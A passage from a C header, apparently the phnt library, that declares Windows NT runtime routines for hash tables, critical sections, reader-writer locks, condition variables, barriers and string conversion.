PRTL_DYNAMIC_HASH_TABLE HashTable\n )\n{\n return HashTable->TableSize - HashTable->NonEmptyBuckets;\n}\n\nFORCEINLINE\nULONG\nRtlTotalEntriesHashTable(\n _In_ PRTL_DYNAMIC_HASH_TABLE HashTable\n )\n{\n return HashTable->NumEntries;\n}\n\nFORCEINLINE\nULONG\nRtlActiveEnumeratorsHashTable(\n _In_ PRTL_DYNAMIC_HASH_TABLE HashTable\n )\n{\n return HashTable->NumEnumerators;\n}\n\n_Must_inspect_result_\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlCreateHashTable(\n _Inout_ _When_(*HashTable == NULL, __drv_allocatesMem(Mem)) PRTL_DYNAMIC_HASH_TABLE *HashTable,\n _In_ ULONG Shift,\n _In_ _Reserved_ ULONG Flags\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlDeleteHashTable(\n _In_ PRTL_DYNAMIC_HASH_TABLE HashTable\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlInsertEntryHashTable(\n _In_ PRTL_DYNAMIC_HASH_TABLE HashTable,\n _In_ PRTL_DYNAMIC_HASH_TABLE_ENTRY Entry,\n _In_ ULONG_PTR Signature,\n _Inout_opt_ PRTL_DYNAMIC_HASH_TABLE_CONTEXT Context\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlRemoveEntryHashTable(\n _In_ PRTL_DYNAMIC_HASH_TABLE HashTable,\n _In_ PRTL_DYNAMIC_HASH_TABLE_ENTRY Entry,\n _Inout_opt_ PRTL_DYNAMIC_HASH_TABLE_CONTEXT Context\n );\n\n_Must_inspect_result_\nNTSYSAPI\nPRTL_DYNAMIC_HASH_TABLE_ENTRY\nNTAPI\nRtlLookupEntryHashTable(\n _In_ PRTL_DYNAMIC_HASH_TABLE HashTable,\n _In_ ULONG_PTR Signature,\n _Out_opt_ PRTL_DYNAMIC_HASH_TABLE_CONTEXT Context\n );\n\n_Must_inspect_result_\nNTSYSAPI\nPRTL_DYNAMIC_HASH_TABLE_ENTRY\nNTAPI\nRtlGetNextEntryHashTable(\n _In_ PRTL_DYNAMIC_HASH_TABLE HashTable,\n _In_ PRTL_DYNAMIC_HASH_TABLE_CONTEXT Context\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlInitEnumerationHashTable(\n _In_ PRTL_DYNAMIC_HASH_TABLE HashTable,\n _Out_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator\n );\n\n_Must_inspect_result_\nNTSYSAPI\nPRTL_DYNAMIC_HASH_TABLE_ENTRY\nNTAPI\nRtlEnumerateEntryHashTable(\n _In_ PRTL_DYNAMIC_HASH_TABLE HashTable,\n _Inout_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlEndEnumerationHashTable(\n _In_ PRTL_DYNAMIC_HASH_TABLE HashTable,\n _Inout_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlInitWeakEnumerationHashTable(\n _In_ PRTL_DYNAMIC_HASH_TABLE HashTable,\n _Out_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator\n );\n\n_Must_inspect_result_\nNTSYSAPI\nPRTL_DYNAMIC_HASH_TABLE_ENTRY\nNTAPI\nRtlWeaklyEnumerateEntryHashTable(\n _In_ PRTL_DYNAMIC_HASH_TABLE HashTable,\n _Inout_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlEndWeakEnumerationHashTable(\n _In_ PRTL_DYNAMIC_HASH_TABLE HashTable,\n _Inout_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlExpandHashTable(\n _In_ PRTL_DYNAMIC_HASH_TABLE HashTable\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlContractHashTable(\n _In_ PRTL_DYNAMIC_HASH_TABLE HashTable\n );\n\n#endif\n\n#if (PHNT_VERSION >= PHNT_THRESHOLD)\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlInitStrongEnumerationHashTable(\n _In_ PRTL_DYNAMIC_HASH_TABLE HashTable,\n _Out_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator\n );\n\n_Must_inspect_result_\nNTSYSAPI\nPRTL_DYNAMIC_HASH_TABLE_ENTRY\nNTAPI\nRtlStronglyEnumerateEntryHashTable(\n _In_ PRTL_DYNAMIC_HASH_TABLE HashTable,\n _Inout_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlEndStrongEnumerationHashTable(\n _In_ PRTL_DYNAMIC_HASH_TABLE HashTable,\n _Inout_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator\n );\n\n#endif\n\n// end_ntddk\n\n// Critical sections\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlInitializeCriticalSection(\n _Out_ PRTL_CRITICAL_SECTION CriticalSection\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlInitializeCriticalSectionAndSpinCount(\n _Inout_ PRTL_CRITICAL_SECTION CriticalSection,\n _In_ ULONG SpinCount\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDeleteCriticalSection(\n _Inout_ PRTL_CRITICAL_SECTION CriticalSection\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlEnterCriticalSection(\n _Inout_ PRTL_CRITICAL_SECTION CriticalSection\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlLeaveCriticalSection(\n _Inout_ PRTL_CRITICAL_SECTION CriticalSection\n );\n\nNTSYSAPI\nLOGICAL\nNTAPI\nRtlTryEnterCriticalSection(\n _Inout_ PRTL_CRITICAL_SECTION CriticalSection\n );\n\nNTSYSAPI\nLOGICAL\nNTAPI\nRtlIsCriticalSectionLocked(\n _In_ PRTL_CRITICAL_SECTION CriticalSection\n );\n\nNTSYSAPI\nLOGICAL\nNTAPI\nRtlIsCriticalSectionLockedByThread(\n _In_ PRTL_CRITICAL_SECTION CriticalSection\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlGetCriticalSectionRecursionCount(\n _In_ PRTL_CRITICAL_SECTION CriticalSection\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlSetCriticalSectionSpinCount(\n _Inout_ PRTL_CRITICAL_SECTION CriticalSection,\n _In_ ULONG SpinCount\n );\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n// private\nNTSYSAPI\nHANDLE\nNTAPI\nRtlQueryCriticalSectionOwner(\n _In_ HANDLE EventHandle\n );\n#endif\n\nNTSYSAPI\nVOID\nNTAPI\nRtlCheckForOrphanedCriticalSections(\n _In_ HANDLE ThreadHandle\n );\n\n// Resources\n\ntypedef struct _RTL_RESOURCE\n{\n RTL_CRITICAL_SECTION CriticalSection;\n\n HANDLE SharedSemaphore;\n volatile ULONG NumberOfWaitingShared;\n HANDLE ExclusiveSemaphore;\n volatile ULONG NumberOfWaitingExclusive;\n\n volatile LONG NumberOfActive; // negative: exclusive acquire; zero: not acquired; positive: shared acquire(s)\n HANDLE ExclusiveOwnerThread;\n\n ULONG Flags; // RTL_RESOURCE_FLAG_*\n\n PRTL_RESOURCE_DEBUG DebugInfo;\n} RTL_RESOURCE, *PRTL_RESOURCE;\n\n#define RTL_RESOURCE_FLAG_LONG_TERM ((ULONG)0x00000001)\n\nNTSYSAPI\nVOID\nNTAPI\nRtlInitializeResource(\n _Out_ PRTL_RESOURCE Resource\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlDeleteResource(\n _Inout_ PRTL_RESOURCE Resource\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlAcquireResourceShared(\n _Inout_ PRTL_RESOURCE Resource,\n _In_ BOOLEAN Wait\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlAcquireResourceExclusive(\n _Inout_ PRTL_RESOURCE Resource,\n _In_ BOOLEAN Wait\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlReleaseResource(\n _Inout_ PRTL_RESOURCE Resource\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlConvertSharedToExclusive(\n _Inout_ PRTL_RESOURCE Resource\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlConvertExclusiveToShared(\n _Inout_ PRTL_RESOURCE Resource\n );\n\n// Slim reader-writer locks, condition variables, and barriers\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n\n// winbase:InitializeSRWLock\nNTSYSAPI\nVOID\nNTAPI\nRtlInitializeSRWLock(\n _Out_ PRTL_SRWLOCK SRWLock\n );\n\n// winbase:AcquireSRWLockExclusive\nNTSYSAPI\nVOID\nNTAPI\nRtlAcquireSRWLockExclusive(\n _Inout_ PRTL_SRWLOCK SRWLock\n );\n\n// winbase:AcquireSRWLockShared\nNTSYSAPI\nVOID\nNTAPI\nRtlAcquireSRWLockShared(\n _Inout_ PRTL_SRWLOCK SRWLock\n );\n\n// winbase:ReleaseSRWLockExclusive\nNTSYSAPI\nVOID\nNTAPI\nRtlReleaseSRWLockExclusive(\n _Inout_ PRTL_SRWLOCK SRWLock\n );\n\n// winbase:ReleaseSRWLockShared\nNTSYSAPI\nVOID\nNTAPI\nRtlReleaseSRWLockShared(\n _Inout_ PRTL_SRWLOCK SRWLock\n );\n\n// winbase:TryAcquireSRWLockExclusive\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlTryAcquireSRWLockExclusive(\n _Inout_ PRTL_SRWLOCK SRWLock\n );\n\n// winbase:TryAcquireSRWLockShared\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlTryAcquireSRWLockShared(\n _Inout_ PRTL_SRWLOCK SRWLock\n );\n\n#if (PHNT_VERSION >= PHNT_WIN7)\n// rev\nNTSYSAPI\nVOID\nNTAPI\nRtlAcquireReleaseSRWLockExclusive(\n _Inout_ PRTL_SRWLOCK SRWLock\n );\n#endif\n\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n\n// winbase:InitializeConditionVariable\nNTSYSAPI\nVOID\nNTAPI\nRtlInitializeConditionVariable(\n _Out_ PRTL_CONDITION_VARIABLE ConditionVariable\n );\n\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSleepConditionVariableCS(\n _Inout_ PRTL_CONDITION_VARIABLE ConditionVariable,\n _Inout_ PRTL_CRITICAL_SECTION CriticalSection,\n _In_opt_ PLARGE_INTEGER Timeout\n );\n\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSleepConditionVariableSRW(\n _Inout_ PRTL_CONDITION_VARIABLE ConditionVariable,\n _Inout_ PRTL_SRWLOCK SRWLock,\n _In_opt_ PLARGE_INTEGER Timeout,\n _In_ ULONG Flags\n );\n\n// winbase:WakeConditionVariable\nNTSYSAPI\nVOID\nNTAPI\nRtlWakeConditionVariable(\n _Inout_ PRTL_CONDITION_VARIABLE ConditionVariable\n );\n\n// winbase:WakeAllConditionVariable\nNTSYSAPI\nVOID\nNTAPI\nRtlWakeAllConditionVariable(\n _Inout_ PRTL_CONDITION_VARIABLE ConditionVariable\n );\n\n#endif\n\n// begin_rev\n#define RTL_BARRIER_FLAGS_SPIN_ONLY 0x00000001 // never block on event - always spin\n#define RTL_BARRIER_FLAGS_BLOCK_ONLY 0x00000002 // always block on event - never spin\n#define RTL_BARRIER_FLAGS_NO_DELETE 0x00000004 // use if barrier will never be deleted\n// end_rev\n\n// begin_private\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlInitBarrier(\n _Out_ PRTL_BARRIER Barrier,\n _In_ ULONG TotalThreads,\n _In_ ULONG SpinCount\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDeleteBarrier(\n _In_ PRTL_BARRIER Barrier\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlBarrier(\n _Inout_ PRTL_BARRIER Barrier,\n _In_ ULONG Flags\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlBarrierForDelete(\n _Inout_ PRTL_BARRIER Barrier,\n _In_ ULONG Flags\n );\n\n#endif\n\n// end_private\n\n// Wait on address\n\n// begin_rev\n\n#if (PHNT_VERSION >= PHNT_WIN8)\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlWaitOnAddress(\n _In_ volatile VOID *Address,\n _In_ PVOID CompareAddress,\n _In_ SIZE_T AddressSize,\n _In_opt_ PLARGE_INTEGER Timeout\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlWakeAddressAll(\n _In_ PVOID Address\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlWakeAddressSingle(\n _In_ PVOID Address\n );\n\n#endif\n\n// end_rev\n\n// Strings\n\n#ifndef PHNT_NO_INLINE_INIT_STRING\nFORCEINLINE VOID RtlInitString(\n _Out_ PSTRING DestinationString,\n _In_opt_ PCSTR SourceString\n )\n{\n if (SourceString)\n DestinationString->MaximumLength = (DestinationString->Length = (USHORT)strlen(SourceString)) + 1;\n else\n DestinationString->MaximumLength = DestinationString->Length = 0;\n\n DestinationString->Buffer = (PCHAR)SourceString;\n}\n#else\nNTSYSAPI\nVOID\nNTAPI\nRtlInitString(\n _Out_ PSTRING DestinationString,\n _In_opt_ PCSTR SourceString\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_THRESHOLD)\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlInitStringEx(\n _Out_ PSTRING DestinationString,\n _In_opt_z_ PCSZ SourceString\n );\n#endif\n\n#ifndef PHNT_NO_INLINE_INIT_STRING\nFORCEINLINE VOID RtlInitAnsiString(\n _Out_ PANSI_STRING DestinationString,\n _In_opt_ PCSTR SourceString\n )\n{\n if (SourceString)\n DestinationString->MaximumLength = (DestinationString->Length = (USHORT)strlen(SourceString)) + 1;\n else\n DestinationString->MaximumLength = DestinationString->Length = 0;\n\n DestinationString->Buffer = (PCHAR)SourceString;\n}\n#else\nNTSYSAPI\nVOID\nNTAPI\nRtlInitAnsiString(\n _Out_ PANSI_STRING DestinationString,\n _In_opt_ PCSTR SourceString\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_WS03)\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlInitAnsiStringEx(\n _Out_ PANSI_STRING DestinationString,\n _In_opt_z_ PCSZ SourceString\n );\n#endif\n\nNTSYSAPI\nVOID\nNTAPI\nRtlFreeAnsiString(\n _In_ PANSI_STRING AnsiString\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlFreeOemString(\n _In_ POEM_STRING OemString\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlCopyString(\n _In_ PSTRING DestinationString,\n _In_opt_ PSTRING SourceString\n );\n\nNTSYSAPI\nCHAR\nNTAPI\nRtlUpperChar(\n _In_ CHAR Character\n );\n\n_Must_inspect_result_\nNTSYSAPI\nLONG\nNTAPI\nRtlCompareString(\n _In_ PSTRING String1,\n _In_ PSTRING String2,\n _In_ BOOLEAN CaseInSensitive\n );\n\n_Must_inspect_result_\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlEqualString(\n _In_ PSTRING String1,\n _In_ PSTRING String2,\n _In_ BOOLEAN CaseInSensitive\n );\n\n_Must_inspect_result_\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlPrefixString(\n _In_ PSTRING String1,\n _In_ PSTRING String2,\n _In_ BOOLEAN CaseInSensitive\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAppendStringToString(\n _In_ PSTRING Destination,\n _In_ PSTRING Source\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAppendAsciizToString(\n _In_ PSTRING Destination,\n _In_opt_ PCSTR Source\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlUpperString(\n _In_ PSTRING DestinationString,\n _In_ PSTRING SourceString\n );\n\nFORCEINLINE\nBOOLEAN\nRtlIsNullOrEmptyUnicodeString(\n _In_opt_ PUNICODE_STRING String\n )\n{\n return !String || String->Length == 0;\n}\n\nFORCEINLINE\nVOID\nNTAPI\nRtlInitEmptyUnicodeString(\n _Out_ PUNICODE_STRING DestinationString,\n _In_opt_ PWCHAR Buffer,\n _In_ USHORT MaximumLength\n )\n{\n DestinationString->Buffer = Buffer;\n DestinationString->MaximumLength = MaximumLength;\n DestinationString->Length = 0;\n}\n\n#ifndef PHNT_NO_INLINE_INIT_STRING\nFORCEINLINE VOID RtlInitUnicodeString(\n _Out_ PUNICODE_STRING DestinationString,\n _In_opt_ PCWSTR SourceString\n )\n{\n if (SourceString)\n DestinationString->MaximumLength = (DestinationString->Length = (USHORT)(wcslen(SourceString) * sizeof(WCHAR))) + sizeof(UNICODE_NULL);\n else\n DestinationString->MaximumLength = DestinationString->Length = 0;\n\n DestinationString->Buffer = (PWCH)SourceString;\n}\n#else\nNTSYSAPI\nVOID\nNTAPI\nRtlInitUnicodeString(\n _Out_ PUNICODE_STRING DestinationString,\n _In_opt_ PCWSTR SourceString\n );\n#endif\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlInitUnicodeStringEx(\n _Out_ PUNICODE_STRING DestinationString,\n _In_opt_ PCWSTR SourceString\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlCreateUnicodeString(\n _Out_ PUNICODE_STRING DestinationString,\n _In_ PCWSTR SourceString\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlCreateUnicodeStringFromAsciiz(\n _Out_ PUNICODE_STRING DestinationString,\n _In_ PCSTR SourceString\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlFreeUnicodeString(\n _In_ PUNICODE_STRING UnicodeString\n );\n\n#define RTL_DUPLICATE_UNICODE_STRING_NULL_TERMINATE (0x00000001)\n#define RTL_DUPLICATE_UNICODE_STRING_ALLOCATE_NULL_STRING (0x00000002)\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDuplicateUnicodeString(\n _In_ ULONG Flags,\n _In_ PUNICODE_STRING StringIn,\n _Out_ PUNICODE_STRING StringOut\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlCopyUnicodeString(\n _In_ PUNICODE_STRING DestinationString,\n _In_ PUNICODE_STRING SourceString\n );\n\nNTSYSAPI\nWCHAR\nNTAPI\nRtlUpcaseUnicodeChar(\n _In_ WCHAR SourceCharacter\n );\n\nNTSYSAPI\nWCHAR\nNTAPI\nRtlDowncaseUnicodeChar(\n _In_ WCHAR SourceCharacter\n );\n\n_Must_inspect_result_\nNTSYSAPI\nLONG\nNTAPI\nRtlCompareUnicodeString(\n _In_ PUNICODE_STRING String1,\n _In_ PUNICODE_STRING String2,\n _In_ BOOLEAN CaseInSensitive\n );\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n_Must_inspect_result_\nNTSYSAPI\nLONG\nNTAPI\nRtlCompareUnicodeStrings(\n _In_reads_(String1Length) PCWCH String1,\n _In_ SIZE_T String1Length,\n _In_reads_(String2Length) PCWCH String2,\n _In_ SIZE_T String2Length,\n _In_ BOOLEAN CaseInSensitive\n );\n#endif\n\n_Must_inspect_result_\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlEqualUnicodeString(\n _In_ PUNICODE_STRING String1,\n _In_ PUNICODE_STRING String2,\n _In_ BOOLEAN CaseInSensitive\n );\n\n#define HASH_STRING_ALGORITHM_DEFAULT 0\n#define HASH_STRING_ALGORITHM_X65599 1\n#define HASH_STRING_ALGORITHM_INVALID 0xffffffff\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlHashUnicodeString(\n _In_ PUNICODE_STRING String,\n _In_ BOOLEAN CaseInSensitive,\n _In_ ULONG HashAlgorithm,\n _Out_ PULONG HashValue\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlValidateUnicodeString(\n _In_ ULONG Flags,\n _In_ PUNICODE_STRING String\n );\n\n_Must_inspect_result_\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlPrefixUnicodeString(\n _In_ PUNICODE_STRING String1,\n _In_ PUNICODE_STRING String2,\n _In_ BOOLEAN CaseInSensitive\n );\n\n#if (PHNT_VERSION >= PHNT_THRESHOLD)\n_Must_inspect_result_\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlSuffixUnicodeString(\n _In_ PUNICODE_STRING String1,\n _In_ PUNICODE_STRING String2,\n _In_ BOOLEAN CaseInSensitive\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_THRESHOLD)\n_Must_inspect_result_\nNTSYSAPI\nPWCHAR\nNTAPI\nRtlFindUnicodeSubstring(\n _In_ PUNICODE_STRING FullString,\n _In_ PUNICODE_STRING SearchString,\n _In_ BOOLEAN CaseInSensitive\n );\n#endif\n\n#define RTL_FIND_CHAR_IN_UNICODE_STRING_START_AT_END 0x00000001\n#define RTL_FIND_CHAR_IN_UNICODE_STRING_COMPLEMENT_CHAR_SET 0x00000002\n#define RTL_FIND_CHAR_IN_UNICODE_STRING_CASE_INSENSITIVE 0x00000004\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlFindCharInUnicodeString(\n _In_ ULONG Flags,\n _In_ PUNICODE_STRING StringToSearch,\n _In_ PUNICODE_STRING CharSet,\n _Out_ PUSHORT NonInclusivePrefixLength\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAppendUnicodeStringToString(\n _In_ PUNICODE_STRING Destination,\n _In_ PUNICODE_STRING Source\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAppendUnicodeToString(\n _In_ PUNICODE_STRING Destination,\n _In_opt_ PCWSTR Source\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUpcaseUnicodeString(\n _Inout_ PUNICODE_STRING DestinationString,\n _In_ PUNICODE_STRING SourceString,\n _In_ BOOLEAN AllocateDestinationString\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDowncaseUnicodeString(\n _Inout_ PUNICODE_STRING DestinationString,\n _In_ PUNICODE_STRING SourceString,\n _In_ BOOLEAN AllocateDestinationString\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlEraseUnicodeString(\n _Inout_ PUNICODE_STRING String\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAnsiStringToUnicodeString(\n _Inout_ PUNICODE_STRING DestinationString,\n _In_ PANSI_STRING SourceString,\n _In_ BOOLEAN AllocateDestinationString\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUnicodeStringToAnsiString(\n _Inout_ PANSI_STRING DestinationString,\n _In_ PUNICODE_STRING SourceString,\n _In_ BOOLEAN AllocateDestinationString\n );\n\nNTSYSAPI\nWCHAR\nNTAPI\nRtlAnsiCharToUnicodeChar(\n _Inout_ PUCHAR *SourceCharacter\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUpcaseUnicodeStringToAnsiString(\n _Inout_ PANSI_STRING DestinationString,\n _In_ PUNICODE_STRING SourceString,\n _In_ BOOLEAN AllocateDestinationString\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlOemStringToUnicodeString(\n _Inout_ PUNICODE_STRING DestinationString,\n _In_ POEM_STRING SourceString,\n _In_ BOOLEAN AllocateDestinationString\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUnicodeStringToOemString(\n _Inout_ POEM_STRING DestinationString,\n _In_ PUNICODE_STRING SourceString,\n _In_ BOOLEAN AllocateDestinationString\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUpcaseUnicodeStringToOemString(\n _Inout_ POEM_STRING DestinationString,\n _In_ PUNICODE_STRING SourceString,\n _In_ BOOLEAN AllocateDestinationString\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUnicodeStringToCountedOemString(\n _Inout_ POEM_STRING DestinationString,\n _In_ PUNICODE_STRING SourceString,\n _In_ BOOLEAN AllocateDestinationString\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUpcaseUnicodeStringToCountedOemString(\n _Inout_ POEM_STRING DestinationString,\n _In_ PUNICODE_STRING SourceString,\n _In_ BOOLEAN AllocateDestinationString\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlMultiByteToUnicodeN(\n _Out_writes_bytes_to_(MaxBytesInUnicodeString, *BytesInUnicodeString) PWCH UnicodeString,\n _In_ ULONG MaxBytesInUnicodeString,\n _Out_opt_ PULONG BytesInUnicodeString,\n _In_reads_bytes_(BytesInMultiByteString) PCSTR MultiByteString,\n _In_ ULONG BytesInMultiByteString\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlMultiByteToUnicodeSize(\n _Out_ PULONG BytesInUnicodeString,\n _In_reads_bytes_(BytesInMultiByteString) PCSTR MultiByteString,\n _In_ ULONG BytesInMultiByteString\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUnicodeToMultiByteN(\n _Out_writes_bytes_to_(MaxBytesInMultiByteString, *BytesInMultiByteString) PCHAR MultiByteString,\n _In_ ULONG MaxBytesInMultiByteString,\n _Out_opt_ PULONG BytesInMultiByteString,\n _In_reads_bytes_(BytesInUnicodeString) PCWCH UnicodeString,\n _In_ ULONG BytesInUnicodeString\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUnicodeToMultiByteSize(\n _Out_ PULONG BytesInMultiByteString,\n _In_reads_bytes_(BytesInUnicodeString) PCWCH UnicodeString,\n _In_ ULONG BytesInUnicodeString\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUpcaseUnicodeToMultiByteN(\n _Out_writes_bytes_to_(MaxBytesInMultiByteString, *BytesInMultiByteString) PCHAR MultiByteString,\n _In_ ULONG MaxBytesInMultiByteString,\n _Out_opt_ PULONG BytesInMultiByteString,\n _In_reads_bytes_(BytesInUnicodeString) PCWCH UnicodeString,\n _In_ ULONG BytesInUnicodeString\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlOemToUnicodeN(\n _Out_writes_bytes_to_(MaxBytesInUnicodeString, *BytesInUnicodeString) PWSTR UnicodeString,\n _In_ ULONG MaxBytesInUnicodeString,\n _Out_opt_ PULONG BytesInUnicodeString,\n _In_reads_bytes_(BytesInOemString) PCCH OemString,\n _In_ ULONG BytesInOemString\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUnicodeToOemN(\n _Out_writes_bytes_to_(MaxBytesInOemString, *BytesInOemString) PCHAR OemString,\n _In_ ULONG MaxBytesInOemString,\n _Out_opt_ PULONG BytesInOemString,\n _In_reads_bytes_(BytesInUnicodeString) PCWCH UnicodeString,\n _In_ ULONG BytesInUnicodeString\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUpcaseUnicodeToOemN(\n _Out_writes_bytes_to_(MaxBytesInOemString, *BytesInOemString) PCHAR OemString,\n _In_ ULONG MaxBytesInOemString,\n _Out_opt_ PULONG BytesInOemString,\n _In_reads_bytes_(BytesInUnicodeString) PCWCH UnicodeString,\n _In_ ULONG BytesInUnicodeString\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlConsoleMultiByteToUnicodeN(\n _Out_writes_bytes_to_(MaxBytesInUnicodeString, *BytesInUnicodeString) PWCH UnicodeString,\n _In_ ULONG MaxBytesInUnicodeString,\n _Out_opt_ PULONG BytesInUnicodeString,\n _In_reads_bytes_(BytesInMultiByteString) PCCH MultiByteString,\n _In_ ULONG BytesInMultiByteString,\n _Out_ PULONG pdwSpecialChar\n );\n\n#if (PHNT_VERSION >= PHNT_WIN7)\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUTF8ToUnicodeN(\n _Out_writes_bytes_to_(UnicodeStringMaxByteCount, *UnicodeStringActualByteCount) PWSTR UnicodeStringDestination,\n _In_ ULONG UnicodeStringMaxByteCount,\n _Out_ PULONG UnicodeStringActualByteCount,\n _In_reads_bytes_(UTF8StringByteCount) PCCH UTF8StringSource,\n _In_ ULONG UTF8StringByteCount\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_WIN7)\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUnicodeToUTF8N(\n _Out_writes_bytes_to_(UTF8StringMaxByteCount, *UTF8StringActualByteCount) PCHAR UTF8StringDestination,\n _In_ ULONG UTF8StringMaxByteCount,\n _Out_ PULONG UTF8StringActualByteCount,\n _In_reads_bytes_(UnicodeStringByteCount) PCWCH UnicodeStringSource,\n _In_ ULONG UnicodeStringByteCount\n );\n#endif\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCustomCPToUnicodeN(\n _In_ PCPTABLEINFO CustomCP,\n _Out_writes_bytes_to_(MaxBytesInUnicodeString, *BytesInUnicodeString) PWCH UnicodeString,\n _In_ ULONG MaxBytesInUnicodeString,\n _Out_opt_ PULONG BytesInUnicodeString,\n _In_reads_bytes_(BytesInCustomCPString) PCH CustomCPString,\n _In_ ULONG BytesInCustomCPString\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUnicodeToCustomCPN(\n _In_ PCPTABLEINFO CustomCP,\n _Out_writes_bytes_to_(MaxBytesInCustomCPString, *BytesInCustomCPString) PCH CustomCPString,\n _In_ ULONG MaxBytesInCustomCPString,\n _Out_opt_ PULONG BytesInCustomCPString,\n _In_reads_bytes_(BytesInUnicodeString) PWCH UnicodeString,\n _In_ ULONG BytesInUnicodeString\n 